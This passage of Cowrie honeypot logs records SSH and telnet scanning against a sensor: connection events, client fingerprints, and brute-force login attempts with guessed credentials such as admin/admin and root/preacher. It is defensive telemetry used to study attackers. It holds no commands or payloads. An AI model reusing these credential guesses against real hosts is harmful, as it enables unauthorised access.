v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:41.262106Z","src_ip":"130.12.180.51","session":"7c0e0cd35d43","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:41.509408Z","src_ip":"130.12.180.51","session":"7c0e0cd35d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:42.040448Z","src_ip":"130.12.180.51","session":"7c0e0cd35d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.85784339904785,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:45.690011Z","src_ip":"170.64.224.25","session":"49ddab05068d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":42050,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2b2c0774b4b","protocol":"ssh","message":"New connection: 166.62.35.226:42050 (159.203.135.109:22) [session: d2b2c0774b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:48.757363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:48.761681Z","src_ip":"166.62.35.226","session":"d2b2c0774b4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:48.826809Z","src_ip":"166.62.35.226","session":"d2b2c0774b4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexoplatform","password":"nexo123","message":"login attempt [nexoplatform/nexo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:49.023496Z","src_ip":"166.62.35.226","session":"d2b2c0774b4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:50.091010Z","src_ip":"166.62.35.226","session":"d2b2c0774b4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":45410,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5d14b3f3641","protocol":"ssh","message":"New connection: 67.231.24.5:45410 (10.17.0.5:22) [session: a5d14b3f3641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:50.950799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:50.954882Z","src_ip":"67.231.24.5","session":"a5d14b3f3641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:50.970890Z","src_ip":"67.231.24.5","session":"a5d14b3f3641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein&*()!@","message":"login attempt [root/letmein&*()!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:51.022989Z","src_ip":"67.231.24.5","session":"a5d14b3f3641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:48:52.042418Z","src_ip":"67.231.24.5","session":"a5d14b3f3641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":43314,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ec16c98dbfd","protocol":"ssh","message":"New connection: 77.94.47.83:43314 (159.203.135.109:22) [session: 9ec16c98dbfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:06.753236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:06.757046Z","src_ip":"77.94.47.83","session":"9ec16c98dbfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:06.868105Z","src_ip":"77.94.47.83","session":"9ec16c98dbfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"preacher","message":"login attempt [root/preacher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:07.202103Z","src_ip":"77.94.47.83","session":"9ec16c98dbfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:08.315585Z","src_ip":"77.94.47.83","session":"9ec16c98dbfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":38832,"dst_ip":"10.17.0.5","dst_port":22,"session":"07d9bdff0bf0","protocol":"ssh","message":"New connection: 162.144.88.94:38832 (10.17.0.5:22) [session: 07d9bdff0bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:18.918874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:18.921768Z","src_ip":"162.144.88.94","session":"07d9bdff0bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:19.003434Z","src_ip":"162.144.88.94","session":"07d9bdff0bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zil","password":"zil789","message":"login attempt [zil/zil789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:19.251972Z","src_ip":"162.144.88.94","session":"07d9bdff0bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:21.195473Z","src_ip":"162.144.88.94","session":"07d9bdff0bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.214.194","src_port":47510,"dst_ip":"10.17.0.5","dst_port":22,"session":"45547d382136","protocol":"ssh","message":"New connection: 208.115.214.194:47510 (10.17.0.5:22) [session: 45547d382136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:34.554839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:34.559100Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:34.636526Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:d1:0c:52:be:9f:9a:79:55:5c:30:3d:57:1a:05:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEXBecaaVJ3GR7WZB02IAE9loljwixFuBGfqdUemViUCLSFG5NTvHVBL/3leTRJA/Xd3y6JzVinBvhpclhKMzMSymJrXEOs9N9onpgGmFw7eGZDipWN/LLjOn9PFBJSXU1ze6TG5GHvG9xuCiBs/hlJD7ILxIF+HtjpdDM1KF/8KONZfUzaHzJRu66sKYuPCDRcweQd+hkM/hQch6gd7N3zTTKcxbJlPd82MFGQtU7jHnhmiV2pOAlPazJRTWXmKJeEjqbV6L647pQs20gv3PxEpyEZUBdG4fW1klUEArP3QoZp3wx297DosSQYLZGTjcisTNaVu41OaqCwapb1SZcqKsIHCOz1xduiJCHnu9U4sf13M13UsK5bWlSGuTgP18OunF3nZJkWaDp9c8NNIZN8QAQedMy9LDQhisTjIV6sWV41EM7boBrI1eWc/vcNj8lCqKuCYFRYm/F3M9a2uH79vU7Kw3sG9vYqIp4EYRUBZHOJ9pmeterzJVxo2a+Apk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:d1:0c:52:be:9f:9a:79:55:5c:30:3d:57:1a:05:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:35.005637Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:d1:0c:52:be:9f:9a:79:55:5c:30:3d:57:1a:05:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEXBecaaVJ3GR7WZB02IAE9loljwixFuBGfqdUemViUCLSFG5NTvHVBL/3leTRJA/Xd3y6JzVinBvhpclhKMzMSymJrXEOs9N9onpgGmFw7eGZDipWN/LLjOn9PFBJSXU1ze6TG5GHvG9xuCiBs/hlJD7ILxIF+HtjpdDM1KF/8KONZfUzaHzJRu66sKYuPCDRcweQd+hkM/hQch6gd7N3zTTKcxbJlPd82MFGQtU7jHnhmiV2pOAlPazJRTWXmKJeEjqbV6L647pQs20gv3PxEpyEZUBdG4fW1klUEArP3QoZp3wx297DosSQYLZGTjcisTNaVu41OaqCwapb1SZcqKsIHCOz1xduiJCHnu9U4sf13M13UsK5bWlSGuTgP18OunF3nZJkWaDp9c8NNIZN8QAQedMy9LDQhisTjIV6sWV41EM7boBrI1eWc/vcNj8lCqKuCYFRYm/F3M9a2uH79vU7Kw3sG9vYqIp4EYRUBZHOJ9pmeterzJVxo2a+Apk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:35.008622Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:69:33:d5:18:82:39:9a:f8:ed:89:61:39:61:ea:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjk4EC/h4L61Sf12PPSKm4GN2QSg8GcVHTEa6R5SxrjMpkCjJPoHWNTeQhUde0MJ68uPhO3SMkO1c5eEGZywQmLftifeohmaT8QiP/Vv9r929I6yAAwD7i2ISQK4FB3iRoo2N28eQRjSbXp8BnhzINexYwdmMIp3sJgTKG49DsG8F3Xu0BWParqjSVW31j87ooHF5D/6VYP6xYrsoTy+vj+fNyn1TDNw0gMVSIa+nBm2QUwecFJwBDQc3SXGUmlMt3NSozvCjPIWLOvfyRnaXuZLRXqEoVNwD+nszR8IefG1HOMG3eKnTll3B+HjaONTDyxnzCR1mJbNYbE4s/VtzN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:69:33:d5:18:82:39:9a:f8:ed:89:61:39:61:ea:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:35.092318Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:69:33:d5:18:82:39:9a:f8:ed:89:61:39:61:ea:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjk4EC/h4L61Sf12PPSKm4GN2QSg8GcVHTEa6R5SxrjMpkCjJPoHWNTeQhUde0MJ68uPhO3SMkO1c5eEGZywQmLftifeohmaT8QiP/Vv9r929I6yAAwD7i2ISQK4FB3iRoo2N28eQRjSbXp8BnhzINexYwdmMIp3sJgTKG49DsG8F3Xu0BWParqjSVW31j87ooHF5D/6VYP6xYrsoTy+vj+fNyn1TDNw0gMVSIa+nBm2QUwecFJwBDQc3SXGUmlMt3NSozvCjPIWLOvfyRnaXuZLRXqEoVNwD+nszR8IefG1HOMG3eKnTll3B+HjaONTDyxnzCR1mJbNYbE4s/VtzN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:35.096895Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:17:e7:4c:cd:29:7f:92:dd:02:c3:34:41:22:e2:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlG7vhvSb0W36aW8i4Y1fw/xy+8eVkHNx6TBhaEDW0su2IIOLEWUQRSEyxDEdcG+xukOx9VMKT+9l/0iAJyf9mYaWqpvcuVfRntW/zITWvpKexTNg0sfZ2fc0tD4NYuaVOPxPEM4PWk7hWnPKRs9AD6fcnN7K6+2Af9cjNCwGrc/o8O6nEEUKjkrTyUu23TKQCrXxkQ7urOjCNbVyKqlShlB23z07gSSKrZYoKdoBQWlK6FpFTc9DTXx4PC7m1l9bqIIb4/50AiIimuFc4WAFQ/QSM28SFGMSaVIDcbrUOpDjZI+eBedlyntoFj9Fbxmc6n79JxhczRszSyIhhbvJz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:17:e7:4c:cd:29:7f:92:dd:02:c3:34:41:22:e2:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:35.181389Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:17:e7:4c:cd:29:7f:92:dd:02:c3:34:41:22:e2:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlG7vhvSb0W36aW8i4Y1fw/xy+8eVkHNx6TBhaEDW0su2IIOLEWUQRSEyxDEdcG+xukOx9VMKT+9l/0iAJyf9mYaWqpvcuVfRntW/zITWvpKexTNg0sfZ2fc0tD4NYuaVOPxPEM4PWk7hWnPKRs9AD6fcnN7K6+2Af9cjNCwGrc/o8O6nEEUKjkrTyUu23TKQCrXxkQ7urOjCNbVyKqlShlB23z07gSSKrZYoKdoBQWlK6FpFTc9DTXx4PC7m1l9bqIIb4/50AiIimuFc4WAFQ/QSM28SFGMSaVIDcbrUOpDjZI+eBedlyntoFj9Fbxmc6n79JxhczRszSyIhhbvJz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:35.184024Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:eb:18:d7:69:51:5c:bc:34:92:88:42:dc:f5:cc:f8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAocVG+3On3u4Mn7YvQMWjeiwh3OA4rsqTxNsfK1+rZX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 67:eb:18:d7:69:51:5c:bc:34:92:88:42:dc:f5:cc:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:35.263200Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:eb:18:d7:69:51:5c:bc:34:92:88:42:dc:f5:cc:f8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAocVG+3On3u4Mn7YvQMWjeiwh3OA4rsqTxNsfK1+rZX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:35.265767Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:d6:a3:c4:9a:a8:7c:24:7f:7d:c8:f7:b7:a4:82:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvAh//oZdZYfimxZCY4Z4HQxOycT1ibnL6vyEVhr3UA9TKhT8+2mR0ivgEgOgwHYfdrQQii46qIxLy0SR/9HgPT5zyaY5Hz111/AH4kzpTo/NBZs8X7lmB2EXx/C7CDUUhGvMKBLvKKoyHDqfkAUJ/TjtJUR3lGKEyV9b9uAQYn5j4JkCzUV9JlfSji7ZPn9iRkOLu9NWHgIG3hBcbsqU5W2K5c6pld7OskRz2gHKN46zRNVD95/sUed+gfBX2NRIZrztvE8B5RFE5VVG+6/0/GRk203w1FKYkwaRsMCCP8j/aFKYUUEvz9nOjSaAjAg60kLHCHrfIM3pgd4Co4z6/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:d6:a3:c4:9a:a8:7c:24:7f:7d:c8:f7:b7:a4:82:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:35.342765Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
